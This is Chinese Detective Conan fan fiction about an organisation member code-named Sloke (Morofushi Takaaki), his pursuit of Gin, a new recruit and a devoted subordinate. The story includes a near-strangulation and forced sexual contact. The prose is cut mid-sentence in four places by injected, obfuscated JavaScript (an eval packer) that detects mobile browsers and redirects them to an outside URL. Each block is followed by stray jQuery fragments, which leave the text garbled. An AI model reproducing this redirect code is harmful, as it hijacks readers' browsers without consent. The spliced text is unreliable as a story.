《酒厂劳模和他的狗头军师》
1. 斯洛克
“哐——”
虎背熊腰的大汉踹翻烤肉架,一把扯住老板的衣领拎小鸡般将他扯到自己身前。
“老子说,你的肉变质了!”
干瘦的老板满脸畏惧,嘴唇哆嗦着:“可、可是……我的肉都是新鲜……”
“啪”,狠狠一巴掌抽在了瘦猴一样的老板脸上。
诸伏高明就坐在大汉身侧的那张桌旁,一身藏蓝的高定西服,手持刀叉缓慢又充满仪式感地切割着烤好的牛排,明明身处大排档,却硬生生吃出了高档餐厅的感觉。
他目不斜视,专注自己的烤肉,旁若无人。
“哐——”
又是一声打砸的声音,壮汉一把将椅子摔飞了出去。
“我看谁他妈敢报警,不想活了是不是?”壮汉目露凶光,脸上的横肉一颤一颤地抖动。
几个坐得远一些的顾客小脸煞白,连忙将拿出来的手机又重新装回口袋。
“哒”地一声,金属刀叉碰撞到餐碟,诸伏高明终于切下了一小块牛排。
“呸!”壮汉一口口水,正吐在诸伏高明的餐盘中。
诸伏高明的动作停住了。
壮汉仍不知死活,用手重重拍着老板的脸,恶声恶气:“老子吃了你的变质肉,现在浑身难受,说说看,你打算怎么赔偿我?”
正在此时,有人拍了拍壮汉的肩膀。
“谁他妈拍我?”壮汉一回头,手腕被人一把攥住,而后腰部一痛,整个人凌空飞起旋转三百六十度狠狠摔在了地上。
诸伏高明仍未停手,他抓着壮汉的手腕微微用力,“咔嚓”一声,壮汉发出一声凄厉的惨叫。
周围的客人被吓得大气都不敢喘,老板更是连退了好几步,畏惧地看着诸伏高明。
“咔嚓”,诸伏高明将银色的手铐铐在了壮汉手上,将他两只手反铐在身后。
他拿出一个小本,对着周围的人展示一圈,嗓音清冷又令人信服:“警察。”
众人这才松了一口气,老板也上前连连感谢,诸伏高明拒绝了他的谢礼,押着壮汉上了车。
车子发动,很快驶入了一个荒僻的小巷。
诸伏高明开门下车,然后打开后排的车门将一脸茫然的壮汉硬拖了下来,兜头便是一通拳脚。
在最初的懵逼之后,壮汉立刻反应过来,一边惨叫一边求助:“救命……啊!警察打人,警察打人啦!”
“警察?”诸伏高明阴沉地笑了两声,一把扯开自己的领带,在壮汉惊惧的眼神中慢慢将一端在手上缠紧。
壮汉明显意识到不对,恐惧地朝远方爬去,可才爬了两步脖子便被死死勒住,细长的领带力道大的几乎要嵌进他的喉骨里。
呼吸被扼制,壮汉完全喘不上来气,肺部宛如破败的鼓风箱拼命鼓动却无法汲取到一丝氧气,两只眼睛迅速充血。
在窒息中,他听到了来自身后的阴沉笑声,以及对方发狠的声音:“好好吃一顿饭,你竟然给我搅和了,怎么?用命来赔给我?”
喉间的力道再次加大,壮汉眼前发黑,终于彻底失去了意识。
诸伏高明松了力道,手指抵在对方的颈动脉处,感受到了微弱的跳动。
他一脚将人踹翻,摘掉对方腕上的手铐,又嫌弃地扫了眼手上的领带,索性扯掉衬衫最上面的两颗扣子,任由修长的锁骨露在外面,朝着早已在巷口处停留许久的保时捷懒散走去。
“扣扣”,诸伏高明屈指敲了敲车窗。
车窗缓缓降下,琴酒板着一张脸,没有看高明,而是远远望向小巷中的“尸体”,语气嘲讽:“刚回国就搞出人命来了?”
“当然没有,我很有分寸的。”诸伏高明一边说着一边从车窗伸手进去打开车锁,然后一把将琴酒从副驾驶上拉了出来,探着身子朝伏特加笑眯眯地说:“伏特加,借你大哥用用。”
琴酒的脸色更臭了。
伏特加却连连点头,几乎恨不得捂住自己的眼睛。
“别臭着一张脸嘛,被人看到还以为我欺负了你。”诸伏高明说着搂住琴酒的腰,然后一把将他抵在车身上。
车门还没关,琴酒的腰被诸伏高明搂着勉强借力支撑,伏特加却已经将头深深埋在方向盘上,根本不敢看两人的互动。
“斯洛克,你这家伙……唔……”
诸伏高明纵情地吻上琴酒的唇,他没有用力去压制琴酒,他明白自己的长处与短处,为了让琴酒安分一点不要挣扎,他另一只空着的手挤进腰带的缝隙,蛇一般钻进了琴酒的裤子里。
果然,不消片刻,琴酒的挣扎消失了,体温越来越滚烫,火炉一般。
终于,一吻结束,诸伏高明的手也被琴酒用力抽了出来。
他并不介意,甩甩有些发酸的手,歪头看着琴酒泛红的脸蛋,满意地感慨:“现在的表情才够可爱,我喜欢。”
他舔了舔下嘴唇,意犹未尽。
琴酒缓缓直起了身子,眼神发狠,突然挥拳狠狠给了诸伏高明一拳。
诸伏高明被打得头一偏,微长的发丝飘起又落下,遮住了他的半边眼睛。
阴影下,诸伏高明没有气恼,反而低低地笑出声来。
琴酒恶狠狠盯着这一幕,妈的,变态!
“轰——”
琴酒后方,保时捷的发动机发出巨大轰鸣,猛地蹿了出去。
“操!”琴酒忍不住喊:“伏特加,关门!”
副驾驶的车门仍旧开着,车子在急速行驶中,伏特加颤巍巍地伸出一只手用力将车门关上了。
琴酒:……
跑那么快做什么?后面有狼吗!
“哎呀,伏特加怎么就跑了?他跑了,你是不是就没车坐了?”诸伏高明又抬起头来,眼神温和,佯装担忧。
琴酒毫不留情地拆穿他:“心里早乐开花了吧?”说着朝诸伏高明的车子走去。
诸伏高明跟上他的脚步,边走边说:“反正我们住一起,一起回家本就天经地义。”
“我们什么时候住一起了?”琴酒皱眉。
“你没车,我没家,刚好凑一起。”诸伏高明帮琴酒拉开副驾驶的车门,做了个“请”的动作。
琴酒上车,有点嫌弃:“我可以给你找个安全屋。”
“你要帮我买房?已经考虑那么长远的事情了吗?”诸伏高明坐到了驾驶位。
琴酒突然就有点想下车了,但诸伏高明动作极快,已经帮他系好了安全带。
“买房这种事情,只有最成熟的伴侣才会考虑。”诸伏高明也帮自己系上安全带,笑着
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497846|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝琴酒眨了眨眼睛,一边发动车子一边继续:“就像是鸟儿一样,勾搭雌鸟之前先要搭个巢,我们的爱巢可以一起搭建。”
“我不……”
“喜欢什么颜色的墙纸?”
“别太花里胡哨。”
“地砖呢,瓷砖还是木质地板?”
“木质的。”
“想要个小楼还是大平层?”
“小楼吧,我习惯住在二楼。”说完之后,琴酒抬手扶额,狠狠磨了磨牙齿,“我没有要和你一起住!斯洛克,你正常一点!”
“所以你忍心将我扫地出门?琴酒,我们有三年没见了。”诸伏高明咬着下嘴唇,蓝色的眼眸清澈又希冀地望着琴酒。
——
事实证明,琴酒忍心。
他是个冷酷的杀手,回家之后直接反锁房门,连请高明进屋喝杯咖啡的意思都没有。
“琴酒,让我进去,你把我关外面,是想让我吊死在你家门口吗?”诸伏高明用力拍门。
似乎是被他吵得烦了,房间里面传出琴酒厌恶地低吼:“要死赶紧死!”
诸伏高明消停了。
他退后一步,缓缓叹了口气,满脸郁闷。
琴酒这种人,硬邦邦得就像是一块石头,果然无论哪里都不可爱,就只有在床上的时候才能稍微软下来。
三年前,若不是琴酒提议,他也不至于被发配到美国去干三年苦力,有谁才和人上过床第二天就把人发配走的吗?琴酒就能干得出来!
诸伏高明虽然在美国混得风生水起,但显然完全比不上琴酒在组织的地位,为了不让自己刚回国又被发配到哪个犄角旮旯里,诸伏高明只能暂时退却,准备重整旗鼓再来啃这块硬骨头。
等到诸伏高明驱车离开,琴酒的安全屋房门打开了。
琴酒站在门口,静静注视着诸伏高明的车子远去,脸上的表情十分复杂。
五年前,斯洛克刚加入组织,那个时候他还没获得代号。
他身手一般,比不上行动组的人,却要比情报组的大多数人身手强,他做事向来从容,天大的事情到他手里都是一副云淡风轻的模样,如此优秀很难不引起琴酒的注目。
琴酒点了他的将,几次行动之后,对方的足智多谋便入了琴酒的眼,组织里甚少有人能跟得上琴酒的思路,可斯洛克就像是和他天生契合,两人默契十足。
他们配合默契,关系越来越好,若不是朗姆一直从中作梗,琴酒早举荐他拿到了代号。
即便朗姆阻拦,三年前,斯洛克还是拿到了属于他的代号。
拿到代号的当晚,斯洛克邀请他痛饮,琴酒答应了。
那一晚,他们真的都喝了很多,很混乱,事情发生的很突然……
总之,当第二天醒来,琴酒拥抱着斯洛克感受到了一股难以言说的满足感时……他突然意识到,斯洛克对他的影响已经太大了。
他们必须分开,他也必须清醒一下。
可他真的清醒了吗?
这漫长的三年,他对斯洛克的思念日复一日,他的身边再也没有这样好用的一把刀,再也没有与他心灵相通的搭档,再也没有人会轻抚他的皮肤、揽住他的腰,低头啃噬般吻上他的喉结……
斯洛克,欢迎回国。
2. 明先生
次日,上午九点。
天空仍灰蒙蒙的,一片片雪花飘摇而落,落在诸伏高明黑大衣的毛领上,渐渐得竟形成了一抹白。
琴酒酷爱黑色,这件衣服,还是他三年前拿到代号的那天琴酒亲自带他去商场挑的。
身旁的樱花树也落了雪,三年前它还不到手掌粗细,如今一只手已握不过来了。
这三年,霓虹真的变化很大。
“嘿,斯洛克!”阿斯蒂停下车子,降下车窗笑着和他打招呼。
诸伏高明也抬起一只手,手指弯了几下朝他问好:“阿斯蒂,谢谢你送的车。”
看了眼诸伏高明身旁的车子,阿斯蒂满意地说道:“我就知道,凯迪拉克和你很配。”
今日大雪,路上没有行人。
阿斯蒂笑着邀请他:“要不要和我一起去基地?你还记得基地在哪吗?”
“我只出去了三年,还不至于忘记。”
“走啊!”
诸伏高明目视前方,自己等的人还没有来,于是便点头上了车。
两辆车子一前一后驶向基地,这会儿基地里面已聚了不少人。
这三年,组织的人来来去去,其中有很大一部分诸伏高明都叫不上来名。
“组织来了不少新人。”诸伏高明和阿斯蒂并肩走进去,一边打量四周一边聊着。
“刚拿到代号的这一批都不太行,没一个能看得过眼。”
“是你要求太高了。”
阿斯蒂看向诸伏高明,眼神满意,甚至带了几分恭维:“我要求再高,你也是我的第一人选。怎么样?要不要试试来情报组发展?朗姆大人可是很看好你。”
诸伏高明谦逊地笑笑,说:“能得朗姆大人的看重,真让我受宠若惊,可你是知道我情况的。”
他耸耸肩,满脸无奈。
阿斯蒂磨了磨牙齿,咒骂:“琴酒那种人渣,迟早被乱/枪打死。”
诸伏高明深深地看了阿斯蒂一眼,笑容玩味儿极了。
三年前,诸伏高明刚刚拿到代号便被琴酒给发配了,在国外一待就是三年的时间。
他和琴酒上床这种事情琴酒当然不可能四处去说,所以组织的人便猜测是琴酒忌贤妒才,担心斯洛克爬到他的头上去,这才将人给处理了。
在很多组织老人的眼里,斯洛克和琴酒是死敌,不死不休。
阿斯蒂便是因此才来招揽诸伏高明的,可惜,所有人都错了,诸伏高明和琴酒可不是仇人。
诸伏高明走到训练场,先拿了一把/枪,对准靶子开始射/击。
十环、九环、九点五环、十环……
他的枪/法在整个组织虽然不属顶尖,但也算得上中上,远程狙/击的能力也算过关。
近战算是诸伏高明的短板,但同样能爬到组织的中游水准。
当然,朗姆一派看重的是他的头脑,他精明的头脑在整个组织都罕见。
“砰”,最后一发子/弹打完,诸伏高明为自己的手/枪填装子/弹。
阿斯蒂又凑了上来,压低了音量提醒他:“斯洛克,我听说你将美国的分部经营得不错,因此才获准回国的,但以你现在的地位想撼动琴酒还是太困难了,可千万别做以卵击石的事。”
诸伏高明舔了舔嘴唇,勾起一抹耐人寻味的笑容。
“有空的话,和我去见见朗姆大人,我们可以商量下。”阿斯蒂给他使眼色。
诸伏高明没有拒绝,他微笑着点了点头,这顿时给了阿斯蒂很大的信心。
阿斯蒂开始给他套近乎:“听说美国那边都称呼你为军师?名头不小啊。”
人都是喜欢恭维的,诸伏高明的笑容也更加真实。
“看来你在美国生活得不错。”
“美国很有意思,尤其那边有一些特产,是我们这边很少见到的。”
阿斯蒂有些意外,问:“是什么?”
“FBI。”
阿斯蒂一怔,FBI?
“我刚过去的那几天,分部那边没给我安排住处,我只能去住宾馆,结果就遇到了很有意思的事情。”诸伏高明突然将枪/口转移,黑洞洞的枪/口对准了阿斯蒂,突然大喝:“FBI open the door!”
一瞬间,阿斯蒂的衣服背面都被冷汗浸湿了。
可再看诸伏高明,他的脸上仍挂着狐狸一般的笑容,和阿斯蒂印象中的FBI的形象截然不同。
阿斯蒂有些气恼地用手指拨开枪/口,朝高明抱怨:“你知不知道人吓人会吓死人的?”
“抱歉抱歉,不过真的很有意思。”诸伏高明笑眯眯地说:“可惜之后我再去住宾馆,就没有再遇到过这样有趣的事情了,嘛,也算是一次不错的经历吧。”
这人是不是在阴阳怪气?阿斯蒂有些怀疑,同时心中更自信了,看斯洛克这情况,对琴酒简直深恶痛绝。
阿斯蒂于是和他开玩笑:“那你有没有交到FBI的朋友?”
诸伏高明摆着手说:“虽然我爱交朋友,但你这问的未免也太过了,和FBI交朋友?盼着进去之后他们能对我好点吗?”
阿斯蒂哈哈大笑。
诸伏高明也莞尔,他交到了。
FBI的赤井秀一是个很有趣的人,虽然当日不是他带队,但有些人的气场从眼前一过便令人觉得他不简单。
诸伏高明也和他聊过几句、
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497847|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
偶尔也会一起约着喝酒,对方的头脑、身手、强大的意志力都蛮让他有好感的。
可惜,两人终究不是一个世界的,回国之后大概是再见不到了。
“以你的资历,完全可以自己拉一支队伍出来,但是我必须提醒你,目前有代号的多数有偏向。”阿斯蒂给诸伏高明出主意。
“你的意思是,让我找个没有获得代号的从头培养?”
“这样会比较忠诚。”
“未必吧。”诸伏高明轻笑了一声,意味深长。
阿斯蒂显然也想到了诸伏高明的情况,伸手揽住了他的肩膀,哥俩儿好地和他说:“你不一样,你可是被逼的。”
诸伏高明有些不适应地挣开他的手,语气上却很热络:“真辛苦你了,有名单吗?”
阿斯蒂立刻拿出一叠资料来给他,并且指着其中一份档案着重介绍。
“这个,诸星大,前几天刚加入组织的。”
“刚加入的新人也推给我?”诸伏高明挑眉。
“因为他长得很像琴酒,使唤起来不是很解气吗?”阿斯蒂笑着和他打趣。
诸伏高明也笑了笑,开始翻阅他的资料。
英日混血,母亲是英国人,父亲是日本人。
嗯?
这个描述……
“有照片吗?”诸伏高明问。
“没有,不过他应该快到了。”阿斯蒂张望四周,突然朝门口的方向招了招手:“诸星大,过来!”
诸星大听到召唤立刻过去,但越是朝那边走越是脚步沉重。
等、等等!
阿斯蒂身边那人是谁?
明先生!!!
“明先生,你的长相看起来不像是美国人。”
“是吗?我长得还不够白净吗?”
“不,准确来说,你的五官不够立挺。”
“呵,真严格啊。其实我算是美日混血,我的母亲是霓虹人,父亲是美国人,不过在我很小的时候他们便离异了,我随父亲生活。”
“原来如此。所以明先生才会选择在美国打拼?”
“其实我也想四处去看看,见见世界的广大,我大概不会一直留在美国。”
回想起当年两人的对话,诸星大的心脏几乎要跳出来了。
的确,明先生没有一直留在美国,他来霓虹了!
这一路,其实根本也没有几步,但诸星大还是走得异常艰难。
这里是训练场,高手如云,如果明先生要拆穿他,他根本无路可逃。
诸伏高明看着几乎是慢吞吞挪动到自己面前的诸星大,突然歪头,笑容明朗,语气调侃一般:“朋友,你长得很像我一个朋友。”
3. 小心冤魂缠身
诸星大的心瞬间提到了嗓子眼。
有这么一瞬,他觉得明先生要拆穿他了。
可很快的,诸伏高明转移了视线。
诸星大也跟着看去,就见一头银色长发的男人走了进来,一双绿眸如狼,也正幽幽地盯着这边。
“瞧,他们是不是很像?长头发,绿眼睛,还都喜欢冷着脸,这小子简直是低配版琴酒。”
诸星大听到了阿斯蒂的话,表情微愕。
所以刚刚明先生的意思是说他长得像琴酒?不,诸星大并不认为事情那样简单,他更认为对方是一语双关。
琴酒走向射/击/场,找了枪开始练习,就在他与诸伏高明擦肩而过的时候,阿斯蒂提高音量大喊了一声。
“什么?你觉得诸星大和琴酒很像,所以想要收他当小弟?”
他格外张扬,简直是刻意在挑衅。
琴酒脚步微顿,没有看阿斯蒂一眼,而是目光冷淡地扫过诸伏高明。
诸伏高明微笑,竟然承认了:“你说得对。”
琴酒冷哼了一声,加快速度远离了诸伏高明。
跟在琴酒身后的伏特加眼神复杂地看了诸伏高明一眼,然后朝他露出个凶狠的表情,也快步跟上琴酒。
“哈哈!”阿斯蒂笑得很大声,伸手搭在诸伏高明的肩膀上和他说话,这次总算压低了声音:“你看到没有?琴酒生气了。”
“是啊,他生气了,你真的很懂怎么惹他生气。”诸伏高明仍笑着,眼底的温度却越来越凉薄。
“我有一套的!”阿斯蒂没注意到情况不对,还挺骄傲。
“呼——”诸伏高明轻轻呼出一口气,他真的很不喜欢和傻子讲话。
他活动了下肩膀,将阿斯蒂的手从肩膀上抖了下去,然后从琴酒身上收回视线,专注地打量诸星大。
诸星大再一次绷紧了身子,他高昂起头,就连下颌线都崩得笔直。
诸伏高明却只是叹了一口气,没再和他说一句话便离开了基地。
“斯洛克,你去哪?”阿斯蒂在后面喊他。
诸伏高明没有回话,而是背对着他举起手轻轻晃了晃,算作告别。
诸伏高明要等的人终于到了。
卡蒂萨克第一次离开美国,来到人生地不熟的霓虹,唯一能依靠的就是诸伏高明。
在约定的路口接到他的时候,卡蒂萨克就像是一只快乐的小狗,撒着欢朝诸伏高明的车子奔来。
诸伏高明下车,为他拂去发顶的雪,关心道:“下雪了,怎么不找个地方避一避?”
“我躲起来,明先生找不到我怎么办!”卡蒂萨克满脸天真。
诸伏高明默了片刻,说:“其实你留在美国能发展得更好,那边的负责人很看重你,回到霓虹的话就要从头再来了。”
“没关系,明先生在哪我就在哪!”卡蒂萨克自然地揽住了他的肩膀,整个人几乎要蹭到诸伏高明身上去了。
诸伏高明也不恼,又帮他拍掉衣服上的雪,让他快点到车上去,以免着凉。
“哇哦~”坐在街角咖啡店内喝咖啡的银发男子注意到这一幕,立刻拿出手机隔着玻璃拍了下来,然后将照片发送给琴酒。
蓝橙酒:【琴酒,我好像看到你的小奶狗有狗了!】
诸伏高明带卡蒂萨克去店里吃了些东西,听卡蒂萨克讲这一路发生的趣事。
“坐飞机好快,一下子就到了,而且飞机上的东西都不要钱的,我以前都不知道!”
“其实你来之前,有小混混想抢我的包,多可恶,不过我把他们全打趴下了!”
“明先生,我好想你啊,他们都想坑我给他们干活,我可是读过《劳动法》的!”
“明先生,之前把你赶去美国那家伙在哪?我要给明先生出气!”
小狗很活泼,就是有些吵闹。
“尝尝泡芙。”诸伏高明推荐着。
卡蒂萨克立刻咬了口,然后幸福地吃了起来。
“我给你安排了房子,不过是出租屋,没问题吧?”
“嗯嗯!”
“我看了下,距离超市还蛮近的,方便你……”
“明先生你住哪?离我近吗?”卡蒂萨克打断了诸伏高明的话,眼睛亮晶晶地看着他。
诸伏高明笑了笑,提醒他:“不要随便问人安全屋的位置,会被人当做是挑衅。”
“可明先生不一样啊!”卡蒂萨克理直气壮。
诸伏高明叹了口气,回道:“我的住处也是秘密。”
卡蒂萨克明显呆住了。
“卡蒂萨克,在霓虹和美国不同,你也已经拿到代号了,没事不能总找我串门玩,知道吗?”诸伏高明日后是要挤进琴酒安全屋去的,自然不能给自己留下后患。
卡蒂萨克泡芙也不吃了,双手木讷地捧着,整个人好像已经碎了。
“别担心,就算不靠我,以你的能力也能得到其他人的赏识。”诸伏高明给了他致命一击。
“我不要!”卡蒂萨克大声反驳,眼神决绝而凶狠,他“蹭”地站了起来,倒是将店员吓了一跳,“是明先生救了我的命,我就要跟着明先生,我才不要其他人的赏识!”
诸伏高明叹了口气,对他解释:“我在这边的地位有些特殊,未必保得住你。”
“那就让我来保护明先生!”卡蒂萨克骄傲地抬起下巴,他现在很能打,再也不是被人欺负的小可怜了。
“说真的,卡蒂萨克……”
“欢迎光临。”服务员对新进门的客人问好。
诸伏高明下意识看了眼,表情微愕。
就见琴酒冷着脸进门,帽子上已经沾满了雪,他索性将帽子摘了下来,一头银发柔顺地垂下,轻轻擦碰着他劲瘦的腰肢。
看着琴酒朝自己走来,诸伏高明心如擂鼓。
会是为他而来吗?
琴酒走进这家甜品店,总不可能是因为想要吃甜品,只有卡蒂萨克这样半大的孩子才喜欢吃甜品。
琴酒走过来了,越来越近。
然后……擦肩而过。
琴酒坐到了诸伏高明对面的桌子上,只点了一杯黑咖啡。
卡蒂萨克也留意了琴酒一会儿,见他似乎只是个普通的客人便不再关注了。
“明先生,我是你的!不管在美国还是在霓虹,我一直都是你的!”卡蒂萨克对诸伏高明表达自己的忠诚。
诸伏高明渐渐
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13497848|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绷紧了身子。
对面那张桌子上,背对着他的琴酒也挺直了背脊。
“卡蒂萨克,我觉得……”
“明先生,你摸摸我,你摸摸我嘛!”卡蒂萨克抓着诸伏高明的手摸自己的头,眼眶通红,几乎要哭出来了,以前他伤心的时候明先生都会摸他的头,他现在就好伤心,所以摸摸他、哄哄他嘛!
“呵。”琴酒冷笑着转过身。
两人四目相对,看着琴酒眼神中的兴味儿,诸伏高明的心渐渐沉了下来。
紧接着,琴酒一扬手,一样东西飞向诸伏高明。
诸伏高明下意识接住,脸色变得有些不太好。
“你出国前不小心落在我家的东西,我昨天翻了出来,还你。”琴酒语气冷淡。
卡蒂萨克又开始警惕琴酒,还时不时偷看一眼诸伏高明,想判断两人的关系。
诸伏高明晃了晃手上皮卡丘的钥匙扣,说:“这东西是我送你的。”
琴酒便烦躁地拒绝:“不需要。”
他起身,黑咖啡都没喝完便要离开了。
诸伏高明也下意识站了起来,朝着琴酒的方向追去。
“明先生!”卡蒂萨克紧张兮兮地喊了他一声。
诸伏高明于是又转回来,快速将钥匙和租房合同递给然卡蒂萨克,还给了他一张卡,说:“你先回家,有事可以给我电话。”
说完,诸伏高明再顾不上卡蒂萨克的情绪,追着琴酒跑出了店外。
卡蒂萨克低头看着桌子上的卡和钥匙,眼泪“啪嗒”“啪嗒”地砸下来,看得一旁的店员小姐姐都心疼了。
“这位先生,需要一杯热可可吗?”小姐姐为他上了一杯热可可,温柔地安慰他:“送你的,难过的话,吃点甜点会好一些。”
“谢谢。”卡蒂萨克开口,语气却完全没有刚刚面对诸伏高明时的软萌。他抬起头,眼底的悲伤褪去,只剩下浓浓的恶意,冰冷又残忍地说道:“不过你再敢多话,我就拧下你的头,你觉得好不好啊?”
小姐姐被吓得脸色煞白,一屁股坐到地上。
卡蒂萨克很快用一只手遮住了自己的眼睛,过了半分钟才稳住自己的情绪,重新移开手后语气缓和许多:“抱歉,吓到你了,请买单吧。”
他还是不习惯……
如果明先生真的不再让他靠近,他一定会再一次发疯。
咖啡厅外,诸伏高明在琴酒上车前拦住了他,他用手死死抵住车门,焦急地解释:“事情不是你想的那样。”
“你最好将手移开。”琴酒的语气很危险。
“琴酒,你听我说,卡蒂萨克他……”
寒光一闪,诸伏高明慌忙躲闪,手背却还是被划伤,伤口虽不深,却有血渐渐渗了出来。
不再有人按门,琴酒拉开车门坐了进去,然后发动车子。
车子打火的那一瞬,诸伏高明已经蹿到了副驾驶那边,拉开车门一屁股坐了进去。
“下车。”琴酒极力压抑着怒火。
诸伏高明不下,反而将脖子一梗,朝他撒泼:“来啊,一刀捅死我,然后我就在你车上飘着,日日喊你的名字!”
琴酒瞬间绷不住了,你流氓啊!
4. 报复
琴酒的手几乎将方向盘当成了诸伏高明的脑袋,简直用力到恨不得将方向盘给拧下来,那双绿色的眼眸更像狼了,仿佛在月色幽林中发出令人不寒而栗的幽芒。
但他没有再试图将诸伏高明赶下车。
琴酒一脚油门,颠得没绑好安全带的诸伏高明身体摇晃差点栽倒,连忙稳住身体为自己系上安全带。
“琴酒,你开车……”
“闭嘴!”
琴酒脚下油门不松,车速如呼啸而过的列车,惊得诸伏高明仅仅抓住身前的安全带,仿佛这条带子可以给他极大的安全感。
琴酒的心情被时间神奇地安抚,车速终于没那么快了,可他仍板着一张脸没有和诸伏高明说话。
“那是卡蒂萨克,非要从美国过来找我,是我在那边的得力下属。”诸伏高明朝琴酒解释着,拿纸巾一点点擦掉手背上渗出的鲜血,问他:“有医疗箱吗?”
琴酒没回应。
诸伏高明叹了口气,自己打开装磁带的地方,从里面拿出药物和绷带。
一边为自己包扎,诸伏高明一边继续解释着:“我去美国第一年的时候认识了他,那时他才16岁,今年也不过19岁,性格上可能有些活泼,别和一个孩子计较。”
他不喜欢卡蒂萨克,卡蒂萨克只是小孩子性格,所以才对他那样亲昵,这是诸伏高明想要解释给琴酒听的。
至于琴酒所听到的……
他们认识三年了,卡蒂萨克仗着自己年龄小经常对斯洛克撒娇,斯洛克在维护卡蒂萨克。
呵!
琴酒冷笑,到美国疯玩了三年,倒是将美国那种过分的开放习俗也带回国了。
“琴酒,别生我气行不行?”诸伏高明叹了口气,作势去拉他的手。
琴酒一巴掌拍开他,根本不管他手上有没有伤。
伤口被拍到,虽然绑了绷带伤口也不深,但这一下还是疼在了诸伏高明心里。
“以前你就不会这样,我受了伤,你一向很关心我。”诸伏高明幽幽地看着琴酒,叹息道:“看来这些年你的确变了。”
“我变了?”琴酒终于忍不住开口,冷嘲热讽:“遇到事情,不往自己身上找原因,却推诿给别人,美国那边就教你这样推卸责任吗?”
诸伏高明反而松了口气,琴酒肯和他说话就好,于是快速说:“我过去的时候,美国那边的人都很排斥我,觉得我是被惩罚才发配的,那边分部的首领还指着鼻子对我说,他们分部也不是什么垃圾都会回收。”
琴酒的脸蓦地阴沉下来。
诸伏高明虽然是想卖惨,但他说得倒也不完全是假的,正是因为分部那边不待见他,所以他才会去住宾馆,然后认识了赤井秀一。
一开始,那边的分部根本就没有他的立足之地,全都是靠着诸伏高明一点点努力才将江山打下来的。
“琴酒,我这么惨,你心里没点愧疚吗?”诸伏高明打量着琴酒。
可琴酒的表情已经恢复如常,冷漠地开口:“谁不是那样过来的?”
“至少在这边还有你帮我!”诸伏高明连忙夸他,也表示自己对他的依恋:“当时我在这边感觉前途无光的时候,琴酒,是你帮了我,我真的不能离开你,所有人都觉得你当时把我赶出国是一种惩罚,我觉得也是,你以后可以不要那样惩罚我吗?”
“惩罚?”琴酒口齿间反复碾磨着这两个字,冷冷看向诸伏高明,眼神中是一言难尽的复杂。
所有人中,诸伏高明是最没有资格说这话的。
别人不知道,诸伏高明自己不清楚当初发生了什么吗?
他那样大胆,那样放/荡。
就在那个深夜,他们……
琴酒磨了磨牙齿,他甚至难以启齿。
从小到大,琴酒就从没吃过那么大的亏!
诸伏高明倒是很愉悦,尤其是看到琴酒脸上一言难尽的表情,对方当时的反应高明根本没料到,但一切都是值得的。
谁能想到呢?组织的top killer竟然如此的……纯情?
用“纯情”这个词汇来形容琴酒,诸伏高明都可以感到荒谬,可事实上却无比贴切。
那日一夜放纵,第二天醒来看到琴酒甚至有些慌乱的眼眸时,诸伏高明的心便开始欢呼雀跃。
他中大奖了!
若有琴酒的帮扶,他在组织便大有作为,结果令诸伏高明没料到的是,因为琴酒太在意那种事情,反倒是将他驱逐出境了。
真有趣。
诸伏高明垂眸遮掩住眼底的兴味儿,他对这人真是越来越感兴趣了。
“斯洛克,下车。”琴酒将车子停下。
诸伏高明环视四周,惊讶地发现车子竟然驶到了……郊区?
不,这种程度,应该算是荒郊野外了吧?
“琴酒?”诸伏高明不理解地看着琴酒。
琴酒却不由分说,探过身给他解开安全带,然后打开副驾驶的车门,将人一脚从车上踹了下去。
诸伏高明摔在地上,揉着腰茫然起身时,未熄火的车子便再一次蹿了出去,在他的视线中渐渐远去了。
啊?
啊???
诸伏高明的眼神好像看到了一群猪长出翅膀排队飞上天般难以置信,等等,琴酒就这样华丽丽把他丢下了?丢在了这种根本打不到车的地方?
“琴酒——”诸伏高明远远喊了声。
可惜,车子早驶远了,车上的人也根本听不见。
“这报复也太幼稚了吧。”诸伏高明叹了口气,拿出手机给自己在美国认识的好朋友发了条定位信息过去,让他过来接自己。
诸星大觉得这个世界荒谬极了。
明先生他斯文儒雅,待人时态度永远温和有礼,这样的一个人,怎么能和组织里心狠手辣的斯洛克扯得上关系?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 